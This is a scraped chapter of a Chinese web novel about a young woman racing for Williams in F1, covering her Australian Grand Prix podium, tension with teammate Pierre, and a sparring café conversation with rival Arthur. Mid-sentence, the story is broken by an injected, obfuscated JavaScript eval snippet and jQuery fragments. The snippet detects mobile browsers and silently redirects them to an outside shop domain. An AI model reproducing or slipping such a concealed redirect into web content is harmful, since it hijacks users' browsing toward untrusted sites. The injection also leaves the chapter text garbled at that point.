文趣网 > 都市小说 > 《开F1的女孩》 > 33.内斗(2)
    直到澳大利亚站大奖赛完赛前,克莱尔·威廉姆斯都焦虑地咬着手指甲——

    原因很简单,车队真的再经不起一次像上一年那样沉重的打击了。成绩是一个车队的立身之本,没有成绩,再厚重的历史底蕴也是徒劳地给他人做嫁衣。

    幸好,大奖赛的结果没有辜负克莱尔上一年的兢兢业业:

    澳大利亚站是街道赛,赛道本身对轮胎摩损大不说,今年的普利司通超软胎退化极快,令所有车队都措手不及,因此,大多数车队面临如此窘境,都选择了三停策略——即超软胎起步,三次轮换中性胎,保证每个赛段都可以全力推进,皮埃尔便如此,他的车组也选择了从大流的三停策略,以第十一名起步,第十名完赛,拿到一分积分——起码进了积分区。

    林朝和她的车组却选择了冒险,破天荒地使用两停策略,即以超软胎起步,两次轮换中性胎,这可以节省一次进站时间(约23秒),通过更好的轮胎管理换取赛道位置,代价是对车手的保胎技术和赛车的机械抓地力要求极高。

    大概是老天爷最近喜欢那些野心勃勃的冒险者,林朝以第七名起步,第三名完赛,拿下威廉姆斯今年的第一个领奖台。

    林朝的车组瞬间爆发出一股剧烈的欢呼声,艾伦·维克斯(林朝的赛道工程师)跳上策略台,疯狂地摇起了领队格里高利·汤普森的肩膀,尖叫着:

    “瞧见没有?瞧见没有?!!”

    向来冷静自持的格里高利的脸上也扬起一抹满意的微笑,不要说克莱尔,她当即命人去找香槟酒来——

    只有哈尔·波杰斯(皮埃尔的赛道工程师)的笑容有些勉强,他整个人躲在阴影里,死死地按住一支圆珠笔,直到确认皮埃尔冲线,他才松开手。

    林朝回场圈结束后,第一反应不是庆祝,而是跳出赛车,摘下手套,摸了一把轮胎——

    不对劲,普利司通今年的轮胎有猫腻。

    她慢慢地直起身,摸了摸下巴,看了一眼普利司通主席所在的位置,面上神情却无什么异常。换胎工玛丽蹦蹦跳跳地来找她喊她上领奖台,林朝也迅速换上一副笑脸。

    本次大奖赛,所有采用二停策略的车队都得了利。林朝与马克西米安登上了领奖台,迈凯伦的亚瑟·卡文迪许更是夺下生涯首冠。

    拿下首冠,亚瑟快活得像成了世界之王,像只火烈鸟一样(今年迈凯伦的澳洲特色赛车服是红色的)在领奖台上横冲直撞,发誓要把每一滴香槟都平等地滴在三个人脸上。

    林朝抹了一把脸,很不开心地瞪了他一眼,然后亚瑟就笑得更开心了。

    国歌放完,林朝追上走在前面的马克西米安,轻声道:

    “普利司通今年的轮胎有问题。”

    马克西米安?异地看了她一眼,女孩神情自若——他今天杆位起跑,却没能冠军带回,自然有些不开心——闻言,他挠了挠自己的脖子,轻声回复道:

    “我知道了。”

    林朝点了点头,顺势拐向威廉姆斯车组所在的方向。

    车队的所有人都守在了P房门口,看见林朝的身影,瞬间爆发出巨大的欢呼声与掌声,林朝也回以笑容,高高地举起右手,比出“三”的手势。

    做为本赛季的第一个领奖台,此时此刻当然具有纪念意义。

    摄影师摆出了相机。

    大家拢成一个半圈,围住皮埃尔和林朝,一个车队人员递过来一只黑色计分板,想叫林朝拿在手里合照。

    林朝一接过那只计分板,脸上的笑容便变得神秘莫测起来,她没有继续做接下来应该做的流程,而是站起身,向克莱尔展示那块计分板——

    Lin(中国国旗)

    P3

    没有皮埃尔的名字。

    克莱尔嘴角的笑容当即消失,她面上一绷,对着身旁的工作人员小声吩咐了一句。三分钟后,一块新的计分板被送来,这次,皮埃尔—p10的字样也在上面。

    大家继续欢呼,比出茄子,朝着镜头送出飞吻,好像刚刚什么插曲也没发生过。

    皮埃尔脸上仍挂着笑容,只是很勉强,他看了林朝一眼,眼神复杂。

    他有点弄不懂自己的队友在想什么了。

    …………

    大奖赛结束后,林朝来到了本地有名的咖啡店,点了一杯微糖少奶油的卡布奇诺,翻开一份新鲜出炉的《泰晤士河报》,惬意地享受着这份难得的悠闲时光。

    “都拿到领奖台了,也不和车队一起庆功吗?”

    一听到这熟悉的声音,林朝便翻了个白眼——这家伙,阴魂不散是怎么回事?

    林朝转过身——果然是亚瑟·卡文迪许。

    咖啡店的灯光很亮,把亚瑟的脸照得熠熠生辉。他已换上了常服,象牙色的迪奥休闲西装配永不过时的白衬衫,领口大敞着,乐于分享似的露出大片古铜色的胸口肌肤——做了脱毛处理的那种,脖子上挂了一串亮眼的银项链,整个人浑身上下就写满了四个字:

    春风得意。

    “你为什么总是在喝咖啡?”

    “你为什么总是在给我找不痛快?”

    亚瑟很不客气地一屁股坐在了林朝的对面。

    “都不恭喜我一下吗?”

    “恭喜你啊,拿下首冠。”林朝翻过一页报纸,眼睛都不抬一下。

    空气沉默了接近五分钟。

    眼看着亚瑟的屁股牢牢地黏在椅子上,丝

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547702|202962||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    毫没有离开的意思,林朝终于肯抬起头了:

    “你还不走?今晚可是你在酒吧里寻欢作乐的好时机。”

    亚瑟看了看自个儿手腕上的表,又作秀似的把那块百达翡丽在林朝面前晃了晃:

    “才七点钟,不着急,我订得是十点的夜场,那个时候大家才玩得比较嗨。”

    意识到自己的脸皮没有对面的厚后,林朝终于放下了手里的报纸,喝了一口咖啡,淡淡道:

    “你要和我说什么?”

    “这才对嘛!”亚瑟眨了眨眼睛,语气娇俏,“整个围场里就数你和我最年轻,我们俩就应该多说说话,多交流交流感情嘛!”

    “我不懂你们那套话术。”

    像是没有听见林朝的讽刺,亚瑟继续自顾自道:

    “你有没有看见马克今天的脸色?老冤家登上了领奖台,自己做为主场车手,却连完赛都没做到。这真是丟脸的事,你说——是不是红牛在故意整马克·菲林?”

    “容我提醒你一句——上赛季你因引擎故障退赛五次。”

    “你这么关心我呀!”亚瑟笑得如花般娇羞。

    林朝终于明白了“人不要脸天下无敌”这句话的威力了。

    她不喜欢和傻子对话,于是喝下最后一口卡布奇诺,拎起包就要走人。

    “诶诶诶诶!”亚瑟连忙拦住了她,双手合十,道歉道:

    “我错了嘛!您大人有大量,别和我计较。”

    林朝瞥了他一眼,慢慢地坐回座位,两只琥珀色的眼睛冷冷地盯着亚瑟:

    “这是你一个月内第二次提起马克·菲林。说吧,你想借着他对我说些什么?”

    亚瑟的嘴角慢慢勾起,他很优雅地拨弄了一下自己那被发胶固定住的金棕色发稍,不急不缓道:

    “你知道的——我一直都很同情马克——自从红牛创队,他就一直不离不弃,如今落得了个黯然离场的结果,实在不能不叫人唏嘘啊。”

    “就像皮埃尔一样。”

    “就像皮埃尔一样。”

    “我明白了。”林朝轻声道:

    “你暗恋皮埃尔,见不得他在我这儿受委屈——可我要提醒你,皮埃尔是有妇之夫,女儿都六岁了!”

    亚瑟一口盐汽水喷了出来。

    他惊慌失措地站起来,嚷道:

    “你在瞎说些什么?!”

    林朝此时此刻却是难得的俏皮,她冲亚瑟眨了眨眼,调戏道:

    “原话奉还罢了。”

    她又拎起包,戴上墨镜:

    “我劝你把自己的事先干好,别多管闲事。”

    说完,林朝的身影消失在夜色中,只留下一脸呆傻的亚瑟。